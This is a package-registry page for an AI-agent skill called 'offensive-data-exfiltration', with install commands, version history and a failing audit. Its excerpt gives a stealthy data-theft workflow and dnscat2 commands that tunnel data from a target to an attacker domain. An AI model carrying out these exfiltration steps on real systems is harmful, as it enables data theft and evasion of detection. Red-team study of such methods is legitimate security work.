offensive-data-exfiltration SKILL.md skillF
offensive-data-exfiltration from snailsploit/claude-red is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add snailsploit/claude-red/offensive-data-exfiltration@git:20260826.4c7fcfdPins git:20260826.4c7fcfd in mdr.lock. Pin the fingerprint instead.
- Audit grade
- F, 16 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- snailsploit/claude-red
- Path
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md- Versions recorded
- 3
- Latest version
- git:20260826.4c7fcfd, committed Aug 26, 2026
- First version recorded
- Aug 25, 2026
- Size
- 19,708 bytes
- Repository stars
- 10,442
- License
- MIT
Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels)…
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# Data Exfiltration -- Offensive Methodology ## Quick Workflow 1. **Inventory target data.** Map files, databases, credentials. Assess volume and classification. 2. **Stage.** Copy to a controlled directory. Strip unnecessary metadata and deduplicate. 3. **Compress and split.** Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB). 4. **Encrypt.** AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext. 5. **Select channel.** DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access). 6. **Transmit.** Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates. 7. **Verify receipt.** Recompute SHA-256 on the receiving end and compare against source manifest. 8. **Clean up.** Securely delete staging, temp files, dropped tools, and any scheduled tasks. --- ## DNS Exfiltration MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS ### dnscat2 ```bash # Server -- set NS record for exfil.yourdomain.com -> your_server_ip first ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret # Client on target ./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret …
Read the whole file at its exact version.
How to install
mdr add snailsploit/claude-red/offensive-data-exfiltration@sha256:ae48370b98336536The line at the top of this page pins the label git:20260826.4c7fcfd, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_hr6xgg4rvhj354ea)
4 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 3 versions of this file, between Aug 25, 2026 and Aug 26, 2026, more than one a day. Its first recorded version is graded B and its latest F.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260826.4c7fcfd latest | 2026-08-26 | 4c7fcfd | 19,708 B | F | view · diff |
| git:20260825.f7a0553 | 2026-08-25 | f7a0553 | 23,263 B | B | view · diff |
| git:20260825.900e4c2 | 2026-08-25 | 900e4c2 | 25,752 B | B | view |
Audit of the latest version
- FAIL, critical: No link to an exfiltration or paste host (matched: https://pastebin.com)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (19708 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
snailsploit/claude-red · 10,442 stars · license MIT · pushed 2026-10-12 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_hr6xgg4rvhj354ea GET https://markdownregistry.com/api/v1/resolve?ref=snailsploit/claude-red/offensive-data-exfiltration GET https://markdownregistry.com/api/v1/blob/ae48370b98336536e9012d7b3f16ffb8abf745fdd8da78213fa3fd065c9c0534
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.
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